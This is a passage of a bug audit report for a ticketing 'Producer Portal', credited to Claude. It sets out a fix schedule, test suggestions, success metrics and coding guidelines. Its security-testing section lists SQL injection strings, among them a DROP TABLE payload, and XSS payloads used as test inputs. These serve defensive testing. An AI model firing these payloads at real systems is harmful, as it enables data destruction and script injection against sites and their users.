BUG-019 - Fix completion percentage (2 hours)
BUG-020 - Add ticket price validation (3 hours)

Estimated Time: 2 weeks Risk if Delayed: LOW - Reduced UX quality

Phase 4: Low Priority / Tech Debt (Ongoing)¶

Can be addressed during regular maintenance

BUG-021 - Remove unused modal (15 minutes)
BUG-022 - Fix button text inconsistency (15 minutes)
BUG-023 - Optimize N+1 queries (1-2 hours)
BUG-024 - Add input sanitization (1-2 hours)

Estimated Time: 1 week Risk if Delayed: NONE - Code quality issues only

🧪 Testing Recommendations¶

1. Automated Test Coverage¶

Unit Tests (Priority)

# tests/test_show_validation.py
def test_door_time_before_start_time():
    """Ensure door time must be before start time"""
    show = Show(
        title="Test Show",
        door_time=timezone.now() + timedelta(hours=2),
        start_time=timezone.now() + timedelta(hours=1),  # Invalid
        end_time=timezone.now() + timedelta(hours=3)
    )
    with pytest.raises(ValidationError):
        show.full_clean()

def test_refund_policy_enum_consistency():
    """Ensure frontend and backend enums match"""
    frontend_policies = ['no_refunds', 'partial_refund', 'full_refund']
    backend_choices = [choice[0] for choice in Show.RefundPolicyChoices.choices]
    assert set(frontend_policies) == set(backend_choices)

def test_image_dimensions_validation():
    """Validate image dimensions even in draft mode"""
    # Test implementation

Integration Tests

# tests/test_show_api.py
def test_concurrent_ticket_deletion(client, show):
    """Test race condition in ticket deletion"""
    # Simulate concurrent order creation and ticket deletion

def test_show_creation_rate_limiting(client):
    """Verify rate limiting on show creation"""
    # Create 11 shows rapidly, expect 11th to fail

E2E Tests (Playwright/Cypress)

// e2e/show-creation.spec.ts
test('validates date chronology', async ({ page }) => {
  await page.goto('/dashboard/shows/new');
  await page.fill('[name="title"]', 'Test Show');

  // Set end time before start time
  await page.fill('[name="startDateTime"]', '2024-03-15T20:00');
  await page.fill('[name="endDateTime"]', '2024-03-15T19:00');

  await page.click('button[type="submit"]');

  // Expect validation error
  await expect(page.locator('.error-message'))
    .toContainText('End time must be after start time');
});

2. Security Testing¶

SQL Injection Tests

def test_sql_injection_in_search():
    """Test SQL injection protection"""
    malicious_inputs = [
        "'; DROP TABLE shows; --",
        "1' OR '1'='1",
        "admin'--",
        "' OR 1=1--"
    ]
    for input in malicious_inputs:
        response = client.get(f'/api/v1/portal/shows/?search={input}')
        assert response.status_code != 500  # Should not crash
        assert 'DROP' not in response.content.decode()  # Should not execute

XSS Tests

def test_xss_in_rich_text_editor():
    """Test XSS protection in descriptions"""
    xss_payloads = [
        '<script>alert("XSS")</script>',
        '<img src=x onerror="alert(1)">',
        '<iframe src="javascript:alert(\'XSS\')"></iframe>'
    ]
    for payload in xss_payloads:
        show = create_show(description=payload)
        serialized = ShowSerializer(show).data
        assert '<script>' not in serialized['description']

3. Performance Testing¶

# tests/test_performance.py
def test_show_list_query_count(django_assert_num_queries):
    """Ensure N+1 queries are fixed"""
    create_shows(count=50)

    with django_assert_num_queries(5):  # Max 5 queries regardless of show count
        response = client.get('/api/v1/portal/shows/')
        assert len(response.data) == 50

4. Manual Testing Checklist¶

Show Creation Flow - [ ] Create show with all fields filled - [ ] Create show with minimum required fields - [ ] Save as draft, verify completion percentage - [ ] Try to publish incomplete draft (should fail) - [ ] Upload images > 5MB (should fail immediately) - [ ] Upload wrong-sized images (should fail with clear message) - [ ] Set end time before start time (should fail) - [ ] Create show with special characters in title - [ ] Create show with extremely long inputs - [ ] Create show with SQL injection attempts in search

Show Update Flow - [ ] Open show in two tabs, make conflicting changes - [ ] Update published show while customer is checking out - [ ] Remove ticket type that has orders (should preserve it) - [ ] Change venue address (should not affect other shows) - [ ] Upload performer images - [ ] Change refund policy

Edge Cases - [ ] Create 11 shows in 1 hour (rate limit should block) - [ ] Create show in all timezones - [ ] Create free ($0) ticket - [ ] Create $10,000 ticket - [ ] Use promo code "TEST" and "test" (should normalize) - [ ] Create very long show title (200+ chars) - [ ] Create show with rich text containing HTML entities

📈 Success Metrics¶

Track these metrics to measure improvement after fixes:

Error Rate: % of show creation attempts that fail → Target: <2%
Time to Publish: Average time from draft creation to publish → Target: <5 minutes
Support Tickets: Number of show-related support requests → Target: 50% reduction
Data Quality: % of shows with valid/complete data → Target: >95%
Performance: Show list load time → Target: <500ms for 100 shows
Security: Number of security incidents → Target: 0

🎓 Developer Guidelines¶

To prevent similar bugs in the future:

Validation Rules¶

Always validate on both frontend and backend - Never trust client data
Use schema-driven validation - Zod on frontend, Django validators on backend
Validate relationships - Check chronological order, foreign key integrity
Fail fast - Validate early before expensive operations

Security Rules¶

Sanitize all user input - Even if using ORM
Use parameterized queries - Never string concatenation
Implement rate limiting - On all mutation endpoints
Audit error messages - Don't expose internal details

Data Integrity Rules¶

Use database constraints - Enforce at DB level when possible
Implement optimistic locking - For concurrent edit protection
Test race conditions - Especially around order placement
Use transactions - For multi-step operations

Code Quality Rules¶

Clean up dead code - Remove unused components/functions
Document complex logic - Especially validation rules
Write tests first - TDD for critical paths
Review before merge - All PRs require security review

📞 Next Steps¶

Immediate Action (Today):
Review this report with the team
Prioritize fixes based on business impact
Create tickets for each bug in your issue tracker
This Week:
Begin Phase 1 (Critical fixes)
Set up automated testing infrastructure
Implement monitoring for error rates
This Month:
Complete Phases 1-2
Implement security hardening
Train team on new validation patterns
Ongoing:
Regular security audits
Performance monitoring
User feedback collection

Report Generated: 2025-10-13 Auditor: Claude (Anthropic) Scope: Producer Portal - Show Creation & Update Workflows Files Analyzed: 15 key files across frontend and backend Total Issues Found: 24 bugs Estimated Fix Time: 6-8 weeks for all issues

🔍 Pique Tickets Producer Portal - Comprehensive Bug Audit Report¶

Executive Summary¶

📊 Bug Summary by Category¶

🔴 CRITICAL BUGS¶

BUG-001: Date/Time Chronological Validation Missing¶

BUG-002: Draft Mode Schema Transform Creates Invalid Dates¶

BUG-003: Refund Policy Enum Mismatch Between Frontend and Backend¶

BUG-004: SQL Injection Risk in Search Queries¶

🔴 HIGH PRIORITY BUGS¶

BUG-005: Image Dimension Validation Bypassed in Draft Mode¶

BUG-006: Race Condition in Ticket Deletion Logic¶

BUG-007: Venue De-duplication Creates Data Inconsistencies¶

BUG-008: Missing Authorization Check in Show Detail Endpoint¶

BUG-009: Performer Image Upload Not Implemented¶

BUG-010: Missing Rate Limiting on Show Creation¶

BUG-011: Promo Code Case Sensitivity Issue¶

BUG-012: XSS Vulnerability in Rich Text Editor¶

🟡 MEDIUM PRIORITY BUGS¶

BUG-013: Memory Leak in Form State Management¶

BUG-014: No Optimistic Locking for Concurrent Edits¶

BUG-015: File Upload Size Not Validated on Frontend¶

BUG-016: Error Messages Expose Internal Implementation¶

BUG-017: Timezone Handling Inconsistency¶

BUG-018: Partial Update Warnings Are Silent¶

BUG-019: Draft Completion Percentage Calculation Flawed¶

BUG-020: No Validation for Minimum Ticket Price¶

🟢 LOW PRIORITY BUGS¶

BUG-021: Unused AlertModal in Show Form¶

BUG-022: Inconsistent Button Text for Published Shows¶

BUG-023: N+1 Query Problem in Shows List¶

BUG-024: Missing Input Sanitization for Special Characters¶

🎯 Implementation Plan (Prioritized)¶

Phase 1: Critical Fixes (Week 1)¶

Phase 2: High Priority Fixes (Week 2-3)¶

Phase 3: Medium Priority Fixes (Week 4-5)¶

Phase 4: Low Priority / Tech Debt (Ongoing)¶

🧪 Testing Recommendations¶

1. Automated Test Coverage¶

2. Security Testing¶

3. Performance Testing¶

4. Manual Testing Checklist¶

📈 Success Metrics¶

🎓 Developer Guidelines¶

Validation Rules¶

Security Rules¶

Data Integrity Rules¶

Code Quality Rules¶

📞 Next Steps¶